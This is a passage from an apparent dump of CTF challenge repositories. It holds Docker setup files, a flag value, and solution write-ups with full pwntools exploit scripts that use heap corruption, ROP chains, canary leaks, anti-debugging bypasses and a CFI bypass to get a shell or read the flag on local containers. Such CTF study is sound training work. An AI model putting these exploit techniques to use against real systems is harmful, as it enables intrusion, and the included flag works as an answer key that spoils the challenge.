32 | I chose to overwrite `__free_hook` with a `mov rsp, [rdi + 0xa0]` gadget located at `setcontext+53`. This allowed me to pivot the stack to the next chunk I freed. Unfortunately, seccomp means that we'll also need to pwn the forked server process.
33 |
34 | After using a rop chain to leak the stack and thus stack canary, I was ready to send a poisoned message to the server. To do this, I used the lack of checks on the passed in `pass_len` in `create_user`.
35 |
36 | ```c
37 | memcpy(pass_old,password,(long)pass_len);
38 | ```
39 |
40 | This copies an attacker controlled value into a fixed 64 byte buffer on the stack. Because we had previously leaked the canary, it was easy to perform a buffer overflow attack. Luckily, the name of users is stored in binary space, meaning I could put the argument to system at a known location by hiding it in the name.
41 |
42 | ```python
43 | p.send(
44 | p16(1) + p16(0)
45 | + p16(0x110)
46 | + "cat /home/ctf/flag\x00".ljust(64, "A")
47 | + "B" * 0x48 + p64(cleak) + p64(0)
48 | + p64(prdi) + p64(0x605d50)
49 | + p64(leak + 283552)
50 | )
51 | ```
52 |
53 | # Script
54 | ```python
55 | from pwn import *
56 |
57 | p = remote("localhost", 2323)
58 | #p = process("./friend_net")
59 |
60 | p.sendlineafter("speed):", "99")
61 |
62 | def bash():
63 | chrs = ["a", "c", "d", "e", "j"]
64 | for i1 in range(len(chrs)):
65 | print(str(i1) + " / 4")
66 | for i2 in range(len(chrs)):
67 | for i3 in range(len(chrs)):
68 | for i4 in range(len(chrs)):
69 | p.sendlineafter(">", "1")
70 | p.sendlineafter(":", "admin")
71 | sleep(0.01)
72 | p.sendlineafter(":", chrs[i1] + chrs[i2] + chrs[i3] + chrs[i4])
73 |
74 | p.recvuntil("with user id ")
75 |
76 | val = int(p.recvline())
77 | if val != -1:
78 | print("Logged in")
79 | return
80 |
81 | print("FAILED")
82 | exit(1)
83 |
84 | p.sendlineafter(">", "1")
85 | p.sendlineafter(":", "reg")
86 | sleep(0.01)
87 | p.sendlineafter(":", "ABC123")
88 |
89 | p.sendlineafter(">", "4")
90 | p.sendlineafter("ID:", "14")
91 |
92 | bash()
93 |
94 | p.sendlineafter(">", "8")
95 | p.sendlineafter(">", "1")
96 | p.sendlineafter(":", str(0x207))
97 | sleep(0.01)
98 | p.sendlineafter("No.:", "A")
99 |
100 | stdout = 6312160
101 | p.sendafter("Data:", "A" * 512 + p64(stdout)[:6])
102 |
103 | p.sendlineafter(">", "2")
104 | p.recvuntil("version ")
105 |
106 | leak = u64(p.recvline(keepends=False).ljust(8, "\x00")) - 3954208
107 | print(hex(leak))
108 |
109 | p.sendlineafter(">", "3")
110 | p.sendlineafter(":", str(0x207))
111 | sleep(0.01)
112 | p.sendlineafter("No.:", "A")
113 | # freehook
114 | p.sendafter("Data:", "A" * 512 + p64(leak + 3958696)[:6])
115 |
116 | setcontext = 293712
117 | p.sendlineafter(">", "3")
118 | p.sendlineafter(":", str(0x207))
119 | sleep(0.01)
120 | p.sendafter("No.:", p64(leak + setcontext + 53))
121 | sleep(0.01)
122 | p.sendafter("Data:", "A" * 512 + p64(0x605320)[:6])
123 |
124 | p.sendlineafter(">", "5")
125 | p.sendlineafter(":", "AAAA")
126 |
127 | p.sendlineafter(">", "4")
128 | p.recvuntil("version ")
129 | hleak = u64(p.recvline(keepends=False).ljust(8, "\x00")) + 0x0000000001d5e280 - 0x0000000001d5e070
130 | print(hex(hleak))
131 |
132 | ret = 0x402b8a
133 | prax = leak + 0x0003a8b0
134 | prdi = leak + 0x0008e1b7
135 | prsi = leak + 0x00124f9b
136 | prdx = leak + 0x00001b92
137 | prsp = leak + 0x00054d9b
138 | sys = leak + 0x00122258
139 |
140 | print(hex(sys))
141 |
142 | buff = 0x606100
143 | fstack = hleak + 0x3000
144 |
145 | environ = 3960632
146 | p.sendlineafter(">", "5")
147 | p.sendlineafter(":", "A" * 0xa0 + p64(hleak + 0xa0 + 0x10) + p64(ret)
148 | + p64(prax) + p64(1) + p64(prdi) + p64(1)
149 | + p64(prsi) + p64(leak + environ)
150 | + p64(prdx) + p64(8) + p64(sys) + p64(prax) + p64(0)
151 | + p64(prdi) + p64(0) + p64(prsi) + p64(fstack)
152 | + p64(prdx) + p64(0x800) + p64(sys)
153 | + p64(prsp) + p64(fstack - 8)
154 | )
155 |
156 | p.sendlineafter(">", "6")
157 | p.sendlineafter(":", "1")
158 |
159 | sleep(0.5)
160 | ui.pause()
161 |
162 | p.recv(1)
163 |
164 | sleak = ""
165 | for i in range(8):
166 | sleak += p.recv(1)
167 |
168 | sleak = u64(sleak)
169 | print(hex(sleak))
170 |
171 | p.send(
172 | p64(prax) + p64(1) + p64(prdi) + p64(1) + p64(prsi) + p64(sleak - 0x100)
173 | + p64(prdx) + p64(8) + p64(sys) + p64(prax) + p64(0) + p64(prdi) + p64(0)
174 | + p64(prsi) + p64(buff) + p64(prdx) + p64(0x200) + p64(sys)
175 | + p64(prax) + p64(1) + p64(prdi) + p64(8) + p64(prsi) + p64(buff) + p64(prdx)
176 | + p64(0x200) + p64(sys) + p64(0x4016db)
177 | )
178 |
179 | sleep(0.01)
180 |
181 | cleak = ""
182 | for i in range(8):
183 | cleak += p.recv(1)
184 |
185 | cleak = u64(cleak)
186 | print(hex(cleak))
187 |
188 | p.send(
189 | p16(1) + p16(0) + p16(0x110) + "cat /home/ctf/flag\x00".ljust(64, "A") +
190 | "B" * 0x48 + p64(cleak) + p64(0) + p64(prdi) + p64(0x605d50) + p64(leak + 283552)
191 | )
192 |
193 | sleep(0.01)
194 | p.interactive()
195 | ```
--------------------------------------------------------------------------------
/binary-2020-12-2/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:xenial
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | # Update
6 | RUN apt-get update -y && apt-get upgrade -y && apt-get install socat -y
7 | RUN apt-get install vim python-pip tmux git libssl-dev libffi-dev build-essential python-dev -y && pip install pwntools
8 |
9 | # Create ctf-user
10 | RUN groupadd -r ctf && useradd -r -g ctf ctf
11 |
12 | # Challenge files
13 | ADD challenge/flag /home/ctf/flag
14 | ADD challenge/cobra_kai /home/ctf/cobra_kai
15 | ADD challenge/ld.so /home/ctf/ld.so
16 | ADD challenge/libc.so /home/ctf/libc.so
17 | ADD challenge/helper.sh /home/ctf/helper.sh
18 | ADD challenge/launch.sh /home/ctf/launch.sh
19 |
20 | # Set some proper permissions
21 | RUN chown -R root:ctf /home/ctf
22 | RUN chmod 750 /home/ctf/cobra_kai
23 | RUN chmod 750 /home/ctf/launch.sh
24 | RUN chmod 750 /home/ctf/helper.sh
25 | RUN chmod 440 home/ctf/flag
26 |
27 | USER ctf
28 | ENTRYPOINT cd /home/ctf && /home/ctf/launch.sh
29 |
--------------------------------------------------------------------------------
/binary-2020-12-2/README.md:
--------------------------------------------------------------------------------
1 | # Welcome to our 2nd December - 2020 challenge
2 | This challenge comes as a binary running inside a Docker with certain vulnerabilities in it!
3 | First one to solve it, email us the solution to contact@ssd-disclosure.com for a chance to win a 300$ Amazon gift card.
4 |
5 | Solutions should be provided in:
6 | 1. python2 or python3 (preferred) form
7 | 2. Solution should connect via port 2325 to the running Docker and obtain the `/home/ctf/flag` and display it to the person running the script
8 | 3. If you are not using existing modules, provide a `requirements.txt` file
9 |
10 | ## Notes on files under challenge folder
11 | While the `flag`, `cobra_kai` (hash: 872dad296686b8a13bd09947e6c2190c8fd0433b373ed747071f02c252f36741), `launch.sh` are here to help you understand the challenge - they should not be modifying in any way in order to win the challenge - we will be running the original binary in our environment.
12 |
13 |
14 | ## Notes on setting on the ENV for the challenge
15 | ### Build container
16 | ```bash
17 | sudo docker build --tag cobra_kai .
18 | ```
19 |
20 | ### Run container with port 2325 being exposed
21 | ```bash
22 | sudo docker run --detach -p 2325:2325 cobra_kai
23 | ```
24 |
25 | ### Debugging
26 | ```bash
27 | sudo docker exec -it bash
28 | ```
29 |
--------------------------------------------------------------------------------
/binary-2020-12-2/challenge/cobra_kai:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12-2/challenge/cobra_kai
--------------------------------------------------------------------------------
/binary-2020-12-2/challenge/flag:
--------------------------------------------------------------------------------
1 | S3D{NX_ASLR_P1E_Fu11-R3Lr0_CFG_Saf9-S1A3K_F0R1fY_AR3_N0t_3n0UGH!}
2 |
--------------------------------------------------------------------------------
/binary-2020-12-2/challenge/helper.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | TERM=xterm LD_PRELOAD="./libc.so" ./ld.so ./cobra_kai
4 |
--------------------------------------------------------------------------------
/binary-2020-12-2/challenge/launch.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | export TERM=xterm
4 | socat TCP-LISTEN:2325,reuseaddr,fork EXEC:"./cobra_kai"
5 |
--------------------------------------------------------------------------------
/binary-2020-12-2/challenge/ld.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12-2/challenge/ld.so
--------------------------------------------------------------------------------
/binary-2020-12-2/challenge/libc.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12-2/challenge/libc.so
--------------------------------------------------------------------------------
/binary-2020-12-2/deploy.sh:
--------------------------------------------------------------------------------
1 | # Notes on setting on the ENV for the challenge
2 | # Build container
3 | sudo docker build --tag cobra_kai .
4 |
5 | # Run container with port 2325 being exposed
6 | sudo docker run --detach -p 2325:2325 cobra_kai
7 |
8 | # Debugging
9 | # sudo docker exec -it bash
10 |
--------------------------------------------------------------------------------
/binary-2020-12-2/solution/README.md:
--------------------------------------------------------------------------------
1 | # SSD December Challenge - 2 (by Juno Im of [theori](https://theori.io) - [@junorouse](https://twitter.com/junorouse))
2 |
3 | ## Introduction
4 |
5 | This program (cobra_kai) is a Tekken game that can play with an AI computer. Users can train their character to fight with AI, save/load the game, and leave a message when they defeat the boss.
6 |
7 | ### Anti-Reverse Engineering Features
8 |
9 | #### MSB *unknown arch 0x3e00* (SYSV)
10 |
11 | When you open the binary with gdb, it says `"cobra_kai": not in executable format: file format not recognized.`. To bypass this, you need to patch the sixth byte (0x02) to 0x01.
12 |
13 | ```
14 | 00000000: 7f45 4c46 02 [02] 0100 0000 0000 0000 0000 .ELF............
15 | 00000010: 0300 3e00 0100 0000 302c 0000 0000 0000 ..>.....0,......
16 | 00000020: 4000 0000 0000 0000 c832 0200 0000 0000 @........2......
17 | 00000030: 0000 0000 4000 3800 0a00 4000 1b00 1a00 ....@.8...@.....
18 | ```
19 |
20 | ```
21 | juno@D-FLYINGPIG:~/aa/binary-2020-12-2/challenge$ file cobra_kai
22 | cobra_kai: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)
23 | vjuno@D-FLYINGPIG:~/aa/binary-2020-12-2/challenge$ vi cobra_kai
24 | juno@D-FLYINGPIG:~/aa/binary-2020-12-2/challenge$ file cobra_kai
25 | cobra_kai: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped
26 | ```
27 |
28 | #### PTRACE
29 |
30 | At 20 rounds, there is a check if the program is debugged. To bypass this, you have to change call instruction to nop (`\x90`) instruction.
31 |
32 | ```c
33 | if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) )
34 | {
35 | _fprintf_chk(stderr, 1LL, "Tracer detected!\n");
36 | exit(1);
37 | }
38 | ```
39 |
40 | ## Vulnerabilities
41 |
42 | ### Vulnerability A - OOB Read
43 |
44 | The following is the code when you choose the "display previous fights" feature:
45 |
46 | ```c
47 | _printf_chk(1LL, "Which previous fight would you like to see? Enter a slot #: ");
48 | _isoc99_scanf("%d", v1 - 36);
49 | slotIndex = *(v1 - 36);
50 | if ( slotIndex < 41 ) // [1] Out of bound Read
51 | {
52 | v4 = slotIndex;
53 | *(v1 - 16) = *&game_data->fData[v4].is_win;
54 | *(v1 - 32) = *game_data->fData[v4].fighterName;
55 | _printf_chk(1LL, "Name to remember: %s\n", (v1 - 32));// leak function pointer
56 | _printf_chk(1LL, "Result: %d (duh!)\n", *(v1 - 16));
57 | _printf_chk(1LL, "Rounds: %d\n", *(v1 - 16));
58 | }
59 | ```
60 |
61 | The part indicated by [1] does not perform range checks properly. It allows inducing PIE address leak by accessing 41st data of `fData` leak.
62 |
63 | ### Vulnerability B - Uninitialized Data
64 |
65 | The code to delete a user and create a new user is as follows:
66 |
67 | ```c
68 | __int64 func_delete_main_user_impl()
69 | {
70 | fighter *v0; // rax
71 | fighter *v1; // rbx
72 | fighter *v2; // rax
73 |
74 | puts("Ending current attempt");
75 | free(g_fighter);
76 | g_fighter = 0LL;
77 | puts("Creating a NEW fighter");
78 | v0 = malloc(0x428uLL);
79 | v1 = v0;
80 | v0->round = 0;
81 | *&v0->can_read_action = 0LL;
82 | v0->maxSlot = 40;
83 | *v0->gogo = 0LL;
84 | *&v0->characterIndex = 0LL;
85 | memset(v0->fData, 0, 0x3C0uLL);
86 | g_fighter = v1;
87 | _printf_chk(1LL, "Enter name: ");
88 | fgets(g_fighter->name, 14, stdin);
89 | strtok(g_fighter->name, "\n");
90 | _printf_chk(1LL, "Enter anger: ");
91 | _isoc99_scanf("%lld", g_fighter); // [2], main_arena+96
92 | v2 = g_fighter;
93 | *&g_fighter->charm = xmmword_1B520;
94 | v2->strengh = 4;
95 | v2->func_a0x420 = end_fight;
96 | *v2->dummy12 = 1;
97 | puts("New Fighter Created!");
98 | return 0LL;
99 | }
100 | ```
101 |
102 | It uses `scanf` to read anger from a user; if you insert a plus sign(`+`) as the input value of the scanf, the value in the existing memory will be used.
103 | It allows reading uninitialized data from the freed heap, which holds the `main_arena+96` pointer since it is in the unsorted bin.
104 |
105 | ### Vulnerability C - OOB Write
106 |
107 | The following code is function `DD`, which used to process the game steps between AI and user:
108 |
109 | ```c
110 | knockback_value = 3;
111 | if ( strength >= 129 )
112 | {
113 | v25 = rand();
114 | if ( v25 - 10 * (v25 / 336) == 2 )
115 | knockback_value = LOBYTE(a1->punch) + 3; // [3]
116 | }
117 | ...
118 | v3->characterIndex = v27 + knockback_value * (2 * (*v3->dummy12 != 1) - 1);
119 | ```
120 |
121 | If the program satifies the following condition: `strength >= 129 && rand() % 10 == 2` (You can train strength over 129 if you defeat the boss), `knockback_value` is added to user's `punch` value [3]. The map drawing function uses `knockback_value` to draw the enemy's location with the following code:
122 |
123 | ```c
124 | v11 = enemy_->characterIndex;
125 | *&map[v11 + 0xF0] = *enemy_->data; // [4]
126 | *&map[v11 + 0x118] = *&enemy_->data[4]; // [4]
127 | *&map[v11 + 0x140] = *&enemy_->data[8]; // [4]
128 | ```
129 |
130 | Because the map object's size is 400 bytes, out-of-bound write occurs in part marked [4].
131 |
132 | # Exploit
133 |
134 | If you win a fight, the program enters a win function. The win function allows you to write your name in the index after comparing it to the maxSlot variable at marked [5]:
135 |
136 | ```c
137 | puts("Which notch on your belt will this victory go?");
138 | v4 = 1;
139 | _printf_chk(1LL, "> ");
140 | fgets(slotIndex, 10, stdin);
141 | slot_index = strtol(slotIndex, 0LL, 10);
142 | if ( slot_index < 0 || g_fighter->maxSlot <= slot_index ) // [5]
143 | {
144 | _printf_chk(1LL, "Bad Slot");
145 | }
146 | else
147 | {
148 | puts("What Name Shall you Remember this fighter by?");
149 | v4 = 0;
150 | _printf_chk(1LL, "> ");
151 | v6 = slot_index;
152 | fgets(&g_fighter->fData[v6], 14, stdin);
153 | v7 = g_fighter;
154 | g_fighter->fData[v6].end_round = end_round;
155 | v7->fData[v6].is_win = 1;
156 | }
157 | ```
158 |
159 | Using out-of-bound write vulnerability, we can overwrite the maxSlot variable of the saved fighter object (`[here]`)
160 |
161 | ```asm
162 | .bss:0000000000473DC0 ; char map[400] // map object
163 | .bss:0000000000473DC0 map db 190h dup(?) ; DATA XREF: LOAD:0000000000001308↑o
164 | .bss:0000000000473DC0 ; print_map+4↑w ...
165 | .bss:0000000000473F50 public won_by_boss
166 | .bss:0000000000473F50 won_by_boss dd ? ; DATA XREF: LOAD:0000000000001698↑o
167 | .bss:0000000000473F50 ; func_lift_impl+22↑r ...
168 | .bss:0000000000473F54 dq ?
169 | .bss:0000000000473F5C db ? ;
170 | .bss:0000000000473F5D db ? ;
171 | .bss:0000000000473F5E db ? ;
172 | .bss:0000000000473F5F db ? ;
173 | .bss:0000000000473F60 public saved_fighters
174 | .bss:0000000000473F60 ; fighter saved_fighters[8]
175 | .bss:0000000000473F60 saved_fighters fighter 8 dup(>) ; DATA XREF: LOAD:0000000000000D20↑o // [here]
176 | .bss:0000000000473F60 ; func_save_game_impl+22↑o ...
177 | .bss:00000000004760A0 public msg_from_mic
178 | ```
179 |
180 | ## Strategy A - Heap Fengshui With Root User
181 |
182 | Therefore, we have out-of-bound write primitive on heap segment. Behind the fighter object on the heap, there is a ncurse_data chunk, which holds many function pointers. One of these is called inside the `endwin` function called ([6]) when you play a game. Finallay you can overwrite this value to any address and control the PC!
183 |
184 | ```c
185 | int endwin()
186 | {
187 | __int64 v0; // rax
188 | __int64 v1; // rdi
189 |
190 | v0 = HEAP_OBJ;
191 | if ( !HEAP_OBJ )
192 | return -1;
193 | v1 = HEAP_OBJ;
194 | *(HEAP_OBJ + 728) = 1;
195 | (*(v0 + 1088))(v1); // [6]
196 | sub_1AD40();
197 | sub_101F0();
198 | return reset_shell_mode();
199 | }
200 | ```
201 |
202 | ## Script
203 |
204 | ```python
205 | #!/usr/bin/env python3
206 | from pwn import *
207 |
208 | context.terminal = ['tmux', 'splitw', '-h']
209 | context.terminal = ['/mnt/c/Windows/System32/wsl.exe', '-e']
210 | context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe', '--', 'sudo', 'su', '-c']
211 | # r = process('./cobra_kai')
212 | r = remote('0', 2325)
213 | # r = remote('0', 2326)
214 | # gdb.attach(r, 'handle SIG32 nostop noprint')
215 | r.sendafter('Enter name: ', 'a'*14)
216 | r.sendlineafter('Enter anger: ', '1')
217 |
218 | def play_game(st, x=False, verbose=False):
219 | is_first = False
220 | cnt = 0
221 | while True:
222 | print(cnt, end=' ')
223 | b = r.recv(30)
224 | if b'Point' in b:
225 | break
226 | _ = r.recvuntil('|--------------------------------------|')
227 | a = r.recvuntil('|--------------------------------------|')
228 | # check enemy
229 | if verbose:
230 | print(a.decode('latin-1'))
231 | print(a.count(b'O'), a.count(b'o'))
232 |
233 | if a.count(b'O') == 1 and (a.count(b'o') == 0 or a.count(b'o') != 2) and a.count(b'o') != 1:
234 | r.send('q')
235 | print('')
236 | return False
237 |
238 | data = a.split(b'\n')
239 | if (b'^' in a or b'.' in a or b'*' in a) and not x:
240 | continue
241 |
242 | r.send(st[cnt])
243 | cnt += 1
244 |
245 | print('')
246 | return True
247 |
248 | play_game('rrrrrrrkrkrkrk')
249 |
250 | r.sendline('')
251 | r.sendlineafter('Which notch on your belt will this victory go?', '0')
252 | r.sendlineafter('What Name Shall you Remember this fighter by?', 'abcd')
253 |
254 | r.sendlineafter('>', '8')
255 | r.sendline('40')
256 |
257 | r.recvuntil('Name to remember: ')
258 | pie_base = u64(r.recv(6) + b'\x00\x00') - 94624
259 | print(f'pie_base: {hex(pie_base)}')
260 |
261 |
262 | r.sendlineafter('>', '7')
263 | r.sendlineafter('3. Load Game\n> ', '1')
264 | r.sendafter('Enter name: ', 'a'*14)
265 | r.sendlineafter('Enter anger: ', '+')
266 |
267 | r.sendlineafter('>', '4') # quit user menu
268 | r.sendlineafter('>', '6')
269 |
270 | r.recvuntil('Anger: ')
271 | main_arena_96 = int(r.recvuntil(',').replace(b',', b'').decode('latin-1')) # main_arena + 96
272 | libc_base = main_arena_96 - 0x3c4b78
273 | print(f'main_arena+96 : {hex(main_arena_96)}')
274 | print(f'libc_base : {hex(libc_base)}')
275 |
276 | X = 0
277 | # lift
278 | for i in range(19 + X):
279 | r.sendlineafter('>', '1')
280 |
281 | r.send('q')
282 | r.recvuntil("9. QUIT (Don't be a &(^(^)")
283 |
284 | for i in range(19):
285 | r.sendlineafter('>', '1')
286 |
287 | r.send('q')
288 | r.recvuntil("9. QUIT (Don't be a &(^(^)")
289 |
290 | for i in range(24):
291 | r.sendlineafter('>', '1')
292 |
293 | for i in range(39 - 24):
294 | r.sendlineafter('>', '3')
295 |
296 | r.send('q')
297 | r.recvuntil("9. QUIT (Don't be a &(^(^)")
298 |
299 | for i in range(50):
300 | r.sendlineafter('>', '4')
301 | r.sendlineafter('>', '1')
302 | r.sendlineafter('>', '4')
303 | r.sendlineafter('>', '2')
304 | r.sendlineafter('>', '4')
305 | r.sendlineafter('>', '3')
306 |
307 | r.sendlineafter('>', '7')
308 | r.sendlineafter('>', '2')
309 | r.sendlineafter('Slot:', '7')
310 |
311 | r.sendlineafter('>', '2') # fight
312 | r.sendlineafter('>', '5')
313 |
314 |
315 | play_game('rrrrrrrrrrrrrkrrprrdrrrdrrrprrrkdrrrdrrp'*100, x=True)
316 | r.sendline('')
317 | r.sendlineafter('Which notch on your belt will this victory go?', '1')
318 | r.sendlineafter('What Name Shall you Remember this fighter by?', 'asdfsadfd')
319 | r.sendlineafter('**Hands over the mic**', 'B'*40)
320 |
321 | r.sendlineafter('>', '2') # fight
322 | r.sendlineafter('>', '0')
323 | play_game('rrrrrrkpdrkpdrkpdrkpd'*30, x=True) #, verbose=True)
324 |
325 | r.sendline('')
326 | r.sendlineafter('Which notch on your belt will this victory go?', '2')
327 | r.sendlineafter('What Name Shall you Remember this fighter by?', 'asdfsadfd')
328 |
329 | # lift
330 |
331 | r.sendlineafter('>', '7')
332 | r.sendlineafter('>', '2')
333 | r.sendlineafter('Slot:', '0')
334 |
335 | for i in range(10):
336 | r.sendlineafter('>', '1') # lift
337 | r.sendlineafter('>', '4')
338 | r.sendlineafter('>', '2') # punch
339 |
340 |
341 | def make_fit():
342 | while True:
343 | r.sendlineafter('>', '4')
344 | r.sendlineafter('>', '2') # punch
345 | r.sendlineafter('>', '6')
346 | r.recvuntil('Punch: ')
347 | x = int(r.recvuntil(',').replace(b',', b'')) + 3
348 | x &= 0xff
349 | x += 0x19
350 | # if (x > 0xe4 and x <= 0xe4 + 3) or
351 | if (x > 0xbc and x <= 0xbc + 3):
352 | break
353 |
354 | make_fit()
355 |
356 | r.sendlineafter('>', '7')
357 | r.sendlineafter('>', '2')
358 | r.sendlineafter('Slot:', '1')
359 |
360 | print('go...!')
361 |
362 | context.log_level = 'error'
363 | while True:
364 | print('gogo', i)
365 | r.sendlineafter('>', '7')
366 | r.sendlineafter('>', '3')
367 | r.sendlineafter('Slot:', '1')
368 | r.sendlineafter('>', '2') # fight
369 | r.sendlineafter('>', '1')
370 | if play_game('rrrrrrprrrrrrp'*30, x=True, verbose=True):
371 | r.sendline('')
372 | r.sendlineafter('Which notch on your belt will this victory go?', '0')
373 | r.sendlineafter('What Name Shall you Remember this fighter by?', 'asdfsadfd')
374 | else:
375 | r.sendlineafter('>', '7')
376 | r.sendlineafter('>', '3')
377 | r.sendlineafter('Slot:', '0')
378 | break
379 |
380 | ## heap fengsui ##
381 |
382 | r.sendlineafter('>', '7')
383 | r.sendlineafter('>', '1')
384 | r.sendlineafter('Enter name: ', 'asdf')
385 | r.sendlineafter('Enter anger: ', '3434')
386 |
387 |
388 | '''
389 | 0x45226 execve("/bin/sh", rsp+0x30, environ)
390 | constraints:
391 | rax == NULL
392 |
393 | 0x4527a execve("/bin/sh", rsp+0x30, environ)
394 | constraints:
395 | [rsp+0x30] == NULL
396 |
397 | 0xf0364 execve("/bin/sh", rsp+0x50, environ)
398 | constraints:
399 | [rsp+0x50] == NULL
400 |
401 | 0xf1207 execve("/bin/sh", rsp+0x70, environ)
402 | constraints:
403 | [rsp+0x70] == NULL
404 | '''
405 |
406 | '''
407 | 0x56507a30d76b: call QWORD PTR [rdi+0x1a]
408 | 0x1f76b
409 | '''
410 |
411 | while True:
412 | print('gogo', i)
413 | r.sendlineafter('>', '7')
414 | r.sendlineafter('>', '3')
415 | r.sendlineafter('Slot:', '0')
416 | r.sendlineafter('>', '2') # fight
417 | r.sendlineafter('>', '1')
418 | if play_game('rrrrrrprrrrrrp'*30, x=True, verbose=True):
419 | r.sendline('')
420 | r.sendlineafter('Which notch on your belt will this victory go?', str(85+2)) # 0x7f39f0bbefa0 call qword ptr [rax + 0x440] <0xa464544434241>
421 | # r.sendlineafter('Which notch on your belt will this victory go?', str(357914029)) # 0x7f39f0bbefa0 call qword ptr [rax + 0x440] <0xa464544434241>
422 | r.sendafter('What Name Shall you Remember this fighter by?', p64(libc_base + 0x4527a)) # rsp-0x30 = null
423 | # r.sendafter('What Name Shall you Remember this fighter by?', p64(0x41424344)) # rsp-0x30 = null
424 | break
425 |
426 | r.interactive() # press 2, ^C
427 | context.log_level = 'debug'
428 | first = True
429 | while True:
430 | print('gogo', i)
431 | if not first:
432 | r.sendlineafter('>', '7')
433 | r.sendlineafter('>', '3')
434 | r.sendlineafter('Slot:', '0')
435 | r.sendlineafter('>', '2') # fight
436 | r.sendlineafter('>', '1')
437 | else:
438 | r.sendline('1')
439 | first = False
440 |
441 | if play_game('rrrrrrprrrrrrp'*30, x=True, verbose=True):
442 | r.sendline('')
443 | r.sendlineafter('Which notch on your belt will this victory go?', '128') # 0x7f39f0bbefa0 call qword ptr [rax + 0x440] <0xa464544434241>
444 | # r.sendlineafter('Which notch on your belt will this victory go?', '357914070') # 0x7f39f0bbefa0 call qword ptr [rax + 0x440] <0xa464544434241>
445 | r.sendlineafter('What Name Shall you Remember this fighter by?', p64(libc_base + 0x0000000000194feb + 8))
446 |
447 | break
448 |
449 | # gdb.attach(r, 'handle SIG32 nostop noprint')
450 | print(f'x/20gx *{hex(pie_base + 0x473F60)}')
451 | print(f'b *{hex(pie_base + 0x14e02)}')
452 | print(f'b *{hex(pie_base + 0x14e98)}')
453 | print(f'b *{hex(pie_base + 0x170e1)}')
454 |
455 | r.sendlineafter('>', '2')
456 | r.sendlineafter('>', '1')
457 | for i in range(20):
458 | r.sendline('bash')
459 | r.interactive()
460 | ```
461 |
462 | 
463 |
464 | [*Exploit Video*](https://youtu.be/5770W0e_jOI)
465 |
466 | # Strategy B - Universal Exploit
467 |
468 | The offset between the `endwin` function pointer and the first of slots are different between the root user and a standard (`ctf`) user.
469 |
470 | **Why?**
471 |
472 | "ncurses" allocates some terminal environment (`$HOME/.terminfo`) on the heap. For root users, the home folder is short(`/root`), but for the `ctf` user, the home folder is longer than the root user(`/home/ctf/`). It makes resulting in a difference in heap feng shui. So... overwriting the `endwin` function pointer is impossible under the `ctf` user because we only can overwrite 14 bytes at the address is 24 bytes aligned. Then, how can we exploit on standard user? I didn't figure out how to exploit it, but after the contest, jinmo123 and I find a way to exploit it universally.
473 |
474 | **How?**
475 |
476 | ```
477 | 0000005C maxSlot dd ?
478 | 00000060 fData fightData 40 dup(?)
479 | 00000420 func_a0x420 dq ?
480 | ```
481 |
482 | We can overwrite a function pointer that holds the `win` function in the fighter object. But this program has CFI mitigation to protect from the jump table pollution. The following code is the CFI mitigation code before calling the `win` function.
483 |
484 | ```asm
485 | .text:0000000000015DA4 mov rax, cs:g_fighter
486 | .text:0000000000015DAB mov rcx, [rax+420h]
487 | .text:0000000000015DB2 lea rax, win
488 | .text:0000000000015DB9 mov rdx, rcx
489 | .text:0000000000015DBC sub rdx, rax
490 | .text:0000000000015DBF rol rdx, 3Dh
491 | .text:0000000000015DC3 cmp rdx, 6; [7]
492 | .text:0000000000015DC7 jnb short loc_15E09
493 | .text:0000000000015DC9 mov edi, [rbp-0Ch]
494 | .text:0000000000015DCC call rcx
495 | ```
496 |
497 | The part marked [7] uses 6, not 0, so you can use other jump tables around the `win` jump table.
498 |
499 | ```c
500 | .text:00000000000171A0 jmp win_impl
501 | .text:00000000000171A8 jmp check_round_impl
502 | .text:00000000000171B0 jmp start_first_round_impl
503 | .text:00000000000171B8 jmp func_delete_main_user_impl
504 | .text:00000000000171C0 jmp func_save_game_impl
505 | ```
506 |
507 | ```c
508 | __int64 __fastcall func_save_game_impl(unsigned int a1)
509 | {
510 | _printf_chk(1LL, "Saving Game into Slot %d\n", a1);
511 | memcpy(&saved_fighters[a1], g_fighter, 0x428uLL);
512 | return 0LL;
513 | }
514 | ```
515 |
516 | If you look at func_save_game_impl, you can see that the current game can be saved to the first argument as an index, which holds the fighting end round. Since the `saved_fighters` object's length is 8, you can get an out-of-bound write one more!
517 |
518 | ```
519 | .bss:0000000000473F60 saved_fighters fighter 8 dup(>) ; DATA XREF: LOAD:0000000000000D20↑o // [here]
520 | .bss:0000000000473F60 ; func_save_game_impl+22↑o ...
521 | .bss:00000000004760A0 public msg_from_mic
522 | ```
523 |
524 | There is a pointer behind the `saved_fighters` object that can be written after you defeat the boss, finally overwriting this pointer allows you to write everything on any addresses! (the first offset of the game object is an anger value, which can make it anything when you make a new character[=fighter])
525 |
--------------------------------------------------------------------------------
/binary-2020-12/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:bionic
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | # Update
6 | RUN apt-get update -y && apt-get install socat -y
7 | RUN apt-get install vim python-pip tmux git libssl-dev libffi-dev build-essential python-dev -y && pip install pwntools
8 |
9 | # Create ctf-user
10 | RUN groupadd -r ctf && useradd -r -g ctf ctf
11 |
12 | # Challenge files
13 | ADD challenge/flag /home/ctf/flag
14 | ADD challenge/checker /home/ctf/checker
15 | ADD challenge/ld-2.23.so /home/ctf/ld-2.23.so
16 | ADD challenge/libc-2.23.so /home/ctf/libc-2.23.so
